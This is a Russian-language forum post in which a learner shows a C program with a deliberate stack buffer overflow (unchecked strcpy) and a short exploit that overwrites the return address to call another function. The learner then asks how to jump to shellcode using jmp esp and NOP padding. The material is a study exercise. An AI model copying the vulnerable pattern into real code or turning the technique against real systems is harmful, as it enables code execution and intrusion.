Прошу разъяснить мне на пальцах. Написал небольшую програмку на си
Код:
#include "stdio.h"
void return_input (char *s) {
char array[30];
strcpy(array,s);
printf("%s\n", array);
}
char text () {
printf("text\n");
}
main ( int argc, char *argv[] ) {
text();
return_input(argv[1]);
return 0;
}
И эксплоет
Код:
#include "stdlib.h"
main () {
char stuff[]= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08";
execlp("./bof","./bof",&stuff,NULL);
}
По адресу 0x08048496 у меня находится вызов функции text()
Работает нормально, т.е вывод
spyder@l33t:~/c> ./eip
text
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
text
Теперь хочу передать управление шеллкоду. Вот тут я немогу понять. Где то пишут что нужно передать управление коду jmp esp. Вопрос1 - Где мне взять его, система nix.
Так же пишут что шеллкод нужно передавать сразу после адреса возврата или до него, заполняя остальное место в буфере нопами, в таком случае как узнать адрес куда мне нужно передать управление? Читал статьи, вникнуть немогу
Заранее спасибо